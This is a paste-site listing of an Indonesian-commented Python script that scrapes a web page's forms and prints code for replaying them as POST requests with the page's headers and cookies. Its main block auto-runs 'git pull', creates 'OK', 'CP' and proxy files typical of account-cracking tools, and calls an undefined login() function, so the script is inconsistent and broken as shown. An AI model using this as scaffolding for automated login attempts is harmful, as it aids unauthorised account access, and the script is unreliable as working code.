  1085. Facebook = 'Facebook.com/Dapunta.Khurayra.X'
  1086. Instagram = 'Instagram.com/ratya.anonym.id'
  1087.  
  1088. # --> Modules
  1089. import requests,bs4,sys,os,datetime,re
  1090. from bs4 import BeautifulSoup as bs
  1091. from datetime import datetime
  1092. from itertools import count
  1093. from requests import get
  1094. from bs4 import BeautifulSoup
  1095. from rich import print as cetak
  1096. from rich import print as prints
  1097. from rich.panel import Panel as nel
  1098. done = False
  1099. results = []
  1100. # -->  Clear Terminal
  1101. def clear():
  1102.     if "linux" in sys.platform.lower():os.system("clear")
  1103.     elif "win" in sys.platform.lower():os.system("cls")
  1104.  
  1105. # --> Waktu
  1106. def start():
  1107.     global Mulai_Jalan
  1108.     Mulai_Jalan = datetime.now()
  1109. def akhir():
  1110.     global Akhir_Jalan, Total_Waktu
  1111.     Akhir_Jalan = datetime.now()
  1112.     Total_Waktu = Akhir_Jalan - Mulai_Jalan
  1113.     try:
  1114.         Menit = str(Total_Waktu).split(':')[1]
  1115.         Detik = str(Total_Waktu).split(':')[2].replace('.',',').split(',')[0] + ',' + str(Total_Waktu).split(':')[2].replace('.',',').split(',')[1][:1]
  1116.         print('\nProgram Selesai Dalam Waktu %s Menit %s Detik\n'%(Menit,Detik))
  1117.     except Exception as e:
  1118.         print('\n\nProgram Selesai Dalam Waktu 0 Detik\n')
  1119.  
  1120. # --> Main Program
  1121. class get_data_web:
  1122.    
  1123.     def __init__(self):
  1124.         self.xyz = requests.Session()
  1125.         url = input('Masukkan URL : ')
  1126.         print('\n[1] Source Payload')
  1127.         print('[2] Parsed Payload')
  1128.         print('[3] Source Code Post Requests')
  1129.         self.tanya = input('Pilih : ')
  1130.         self.domain = url.split('/')[2]
  1131.         self.get_form(url)
  1132.  
  1133.     def get_form(self,url):
  1134.         req = self.xyz.get(url)
  1135.         raq = bs(req.content,'html.parser')
  1136.         for x in raq.find_all('form'):
  1137.             if self.tanya in ['1','01','a']: self.printing1(req,x)
  1138.             elif self.tanya in ['2','02','b']: self.printing2(req,x)
  1139.             elif self.tanya in ['3','03','c']: self.printing3(url,req,x)
  1140.             else: exit('\nIsi  Yg Benar!')
  1141.  
  1142.     def get_head1(self,req):
  1143.         data = {}
  1144.         head = req.headers
  1145.         usls = ['cookie','set-cookie','report-to','expires','x-fb-debug','date','last-modified','etag']
  1146.         for x,y in zip(head.keys(),head.values()):
  1147.             try:
  1148.                 if x.lower() in usls: continue
  1149.                 else: data.update({x:y})
  1150.             except Exception as e:continue
  1151.         return(data)
  1152.  
  1153.     def get_data1(self,form):
  1154.         data = {}
  1155.         for y in form.find_all('input'):
  1156.             try:data.update({y['name']:y['value']})
  1157.             except Exception as e:continue
  1158.         return(data)
  1159.  
  1160.     def get_data2(self,form):
  1161.         data = []
  1162.         for y in form.find_all('input'):
  1163.             try:data.append(y)
  1164.             except Exception as e:continue
  1165.         return(data)
  1166.  
  1167.     def get_post1(self,form):
  1168.         z = form['action']
  1169.         if 'https://'+self.domain in z: return(z)
  1170.         elif 'http://'+self.domain in z: return(z)
  1171.         else: return('https://%s%s'%(self.domain,z))
  1172.  
  1173.     def printing1(self,req,x):
  1174.         head = self.get_head1(req)
  1175.         data = self.get_data1(x)
  1176.         post = self.get_post1(x)
  1177.         coki = self.xyz.cookies.get_dict()
  1178.         print('\n\n[SOURCE PAYLOAD]\n')
  1179.         print('[Host] %s'%(self.domain))
  1180.         print('[Head] %s'%(head))
  1181.         print('[Data] %s'%(data))
  1182.         print('[Coki] %s'%(coki))
  1183.         print('[Post] %s'%(post))
  1184.  
  1185.     def printing2(self,req,x):
  1186.         head = self.get_head1(req)
  1187.         data = self.get_data2(x)
  1188.         post = self.get_post1(x)
  1189.         coki = self.xyz.cookies.get_dict()
  1190.         print('\n\n[PARSED PAYLOAD]\n')
  1191.         # --> Tampil Headers
  1192.         print('head = {')
  1193.         for x,y in zip(head.keys(),head.values()):
  1194.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1195.         print('    }')
  1196.         # --> Tampil Data
  1197.         print('data = {')
  1198.         for x in data:
  1199.             try:
  1200.                 if 'value' in str(x):
  1201.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1202.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1203.                     print("    %s%s: '%s',"%(x['name'],' '*(19-len(x['name'])),fp))
  1204.                 elif 'name' in str(x):
  1205.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1206.                 else: continue
  1207.             except Exception as e: continue
  1208.         print('    }')
  1209.         # --> Tampil Cookie
  1210.         print('cookie = {')
  1211.         for x,y in zip(coki.keys(),coki.values()):
  1212.             print('    %s%s: %s'%(x,' '*(5-len(x)),y))
  1213.         print('    }')
  1214.         # --> Post Requests
  1215.         print("next = '%s'"%(post))
  1216.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1217.     def printing3(self,url,req,x):
  1218.         head = self.get_head1(req)
  1219.         data = self.get_data2(x)
  1220.         post = self.get_post1(x)
  1221.         print('\n\n[SOURCE CODE POST REQUESTS]\n')
  1222.         # --> Tampil Get Requests
  1223.         print("url  = '%s'"%(url))
  1224.         print("requ = bs(requests.Session().get(url).content,'html.parser')")
  1225.         # --> Tampil Headers
  1226.         print('head = {')
  1227.         for x,y in zip(head.keys(),head.values()):
  1228.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1229.         print('    }')
  1230.         # --> Tampil Data
  1231.         print('data = {')
  1232.         for x in data:
  1233.             try:
  1234.                 if 'value' in str(x):
  1235.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1236.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1237.                     gp = dp.replace(fp,'(.*?)')
  1238.                     rs = ("re.search('%s',str(requ)).group(1)"%(gp))
  1239.                     print('    %s%s: %s,'%(x['name'],' '*(19-len(x['name'])),rs))
  1240.                 elif 'name' in str(x):
  1241.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1242.                 else: continue
  1243.             except Exception as e: continue
  1244.         print('    }')
  1245.         # --> Tampil Cookie
  1246.         print("cookie = requests.Session().cookies.get_dict()")
  1247.         # --> Post Requests
  1248.         print("next = '%s'"%(post))
  1249.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1250.  
  1251. if __name__=='__main__':
  1252.     try:os.system('git pull')
  1253.     except:pass
  1254.     try:os.mkdir('OK')
  1255.     except:pass
  1256.     try:os.mkdir('CP')
  1257.     except:pass
  1258.     try:os.system('touch .prox.txt')
  1259.     except:pass
  1260.     login()
Add Comment
Please, Sign In to add comment